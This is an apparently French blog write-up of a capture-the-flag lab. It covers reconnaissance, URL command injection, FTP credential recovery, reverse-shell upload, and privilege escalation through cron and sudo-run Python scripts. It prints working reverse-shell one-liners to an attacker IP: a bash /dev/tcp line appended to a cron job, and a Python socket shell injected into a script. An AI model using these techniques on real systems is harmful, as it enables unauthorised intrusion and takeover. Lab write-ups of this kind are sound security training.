Yo les amis ! what’s up ?

Prêt pour continuer avec les CTFs ? si oui alors, j’ai ce qu’il vous faut. Aujourd’hui un petit challenge particulier, il n’y aura pas de flag user.txt et root.txt mais 7 flags au total !!! plutôt sympa non ?

 

Le défi est de difficulté moyenne, si vous avez les bonnes connaissances de base et êtes attentif aux petits détails je ne pense pas que vous aurez des difficultés.  Alors, le déroulement de ce dernier se décompose en 3 parties :

  • Collecte d’informations
  • Exploitation
  • Escalade des privilèges

 

Normalement, je dois suivre un ordre bien précis si je veux obtenir tout les flags.

 

  • Collecte d’informations

 

Comme d’habitude, je commence par effectuer un scan réseau en utilisant nmap :

nmap -sV -sC 10.10.63.212

Nmap a pu identifier 3 services en cours d’exécution. Le FTP 21, SSH 22 et HTTP 80.

Je commence par visiter la page web :

Dans cette partie de la page, je n’ai rien trouvé d’intéressant, je vais donc utiliser l’outil dirb pour brute-forcer l’énumération de sous domaines :

dirb http://10.10.63.212/ -X .php,.txt

Ça commence, des petites informations (/robots.txt et /post.php). J’observe d’abord robots.txt :

Bingo ! deux autres pages de découvert avec justement notre premier flag :

Maintenant que j’ai obtenu mon flag, je vais visiter la page /secret_file_do_not_read.txt :

Arghhff, ça aurai été trop beau ! bon je vais voir du coup la page /post.php :

Il y a quelque chose qui m’interpelle… je vais revenir vers la page d’accueil et observer de plus près :

Là ! les choses se facilitent, si je regarde bien l’url je peux voir qu’il y a la possibilité de rajouter une commande après le signe égale (=) :

donc j’essaye avec le fichier secret de tout à l’heure :

Coool, ça a bien fonctionné finalement !!! et j’ai réussi à obtenir les informations d’authentification du service ftp. Je go jeter un coup d’œil :

ftp 10.10.63.212

user = ftpuser

passwd = givemefiles777

 

Nickel ! voici mon deuxième flag, je n’ai plus qu’à le télécharger en utilisant la commande get et le lire depuis mon terminal hôte avec cat.

 

  • Exploitation

 

Bon ! et si j’essayai d’uploader un reverse_shell ?? Je me reconnecte sur le serveur ftp puis je vais envoyer mon script (vous pouvez prendre le script qui est sur le site https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) : j’ouvre le fichier avec nano et je rajoute mes paramètres interne.

Voilà, maintenant je l’upload avec la commande put :

Here we goooo !! je lance sur un terminal une écoute de connexion sur le port 4444 avec netcat et d’un autre côté je visite la page de mon script :

Super j’ai un reverse_shell ! je vais basculer vers un shell plus stable avec la commande python3 -c ‘import pty;pty.spawn(« /bin/bash »)’

puis après je commence à fouiner :

Alors, en cherchant dans le répertoire /var/www/html j’ai trouvé le troisième flag.

À ce stade, juste par curiosité j’ai tenté d’escalader les privilèges et j’ai bien fais !!!

Donc, si je regarde bien il y a un autre utilisateur : toby

Afin de me connecter j’ai utilisé la commande : sudo -u toby /bin/bash

je me déplace vers le répertoire de toby puis je liste le contenu :

Bingo ! quatrième flag obtenu !!!

Il y a un fichier note.txt, ça vaut le coup de voir ce qu’il contient :

Ici je peux voir qu’il y a une tâche sur le crontab, je fais un petit tour sur l’emplacement du programme qui s’exécute toute les minutes puis je regarde ce qu’il y a dedans comme commande :

je vais inclure dans ce script mon propre code afin qu’il puisse me donner une connexion inversée au bout d’une minute :

echo « bash -i >& /dev/tcp/10.8.218.133/8080 0>&1 » >> /home/toby/jobs/cow.sh

puis dans un autre terminal je lance mon écoute avec netcat :

Et au final j’ai obtenu un nouveau shell avec l’utilisateur mat. Il me reste maintenant à chercher le cinquième flag :

Ce flag aussi est validé, plus que deux et c’est terminé les amis.

Je vois qu’il y a un répertoire script, je vais voir à quoi il peut servir :

Je pense que je me rapproche du sixième flag, surtout dans ce répertoire :

Il y a deux fichiers : cmd.py et will_script.py en regardant le code je comprends que je vais avoir besoin de cmd.py pour commencer :

mon but est d’injecter un bout de code pour obtenir un autre shell, un peu comme tout à l’heure :

echo ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((« 10.8.218.133 »,4444));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(« /bin/bash »)’ >> /home/mat/scripts/cmd.py

Après je tape la commande : sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
et j’obtiens mon shell sur un autre terminal avec lequel j’avais lancé mon écoute.

Je passe sur un shell plus stable puis je liste le contenu du répertoire de will :


Super, plus que le flag_7.txt et c’est terminé.

 

  • Escalade des privilèges

Après avoir cherché un petit moment, j’ai trouvé dans le répertoire /opt un dossier backups qui contient une clé ssh encodée
en base64 :

Je vais afficher la clé puis l’utiliser pour me connecter en tant que root afin d’obtenir le dernier flag.

Je copie la clé dans un fichier puis, lui donne les autorisations nécessaires et ensuite je pourrai m’en servir pour me connecter sur le server ssh en tant que root :

chmod 666 id_rssa1

ssh -i id_rsa1 root@10.10.63.212

Et voilà le travail, je suis le super-utilisateur. je regarde si le dernier flag est là…

Yes!!! c’est terminé, j’ai réussi à obtenir tout les flags.

 

  • Conclusion

C’est la fin de cet article, j’espère que vous n’avez pas trouvé de difficultés durant ce CTF niveau moyen. Après l’avoir terminé, je me suis dit qu’un débutant avoir des bases solides peut largement faire ce challenge sans trop bloquer.

 

En tout cas merci à vous d’avoir lu cet article, je reste à votre écoute pour tout type de demande. Je vous dis à très vite PEACE !!!!

No responses yet

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée.

1 × 5 =

Follow by Email
YouTube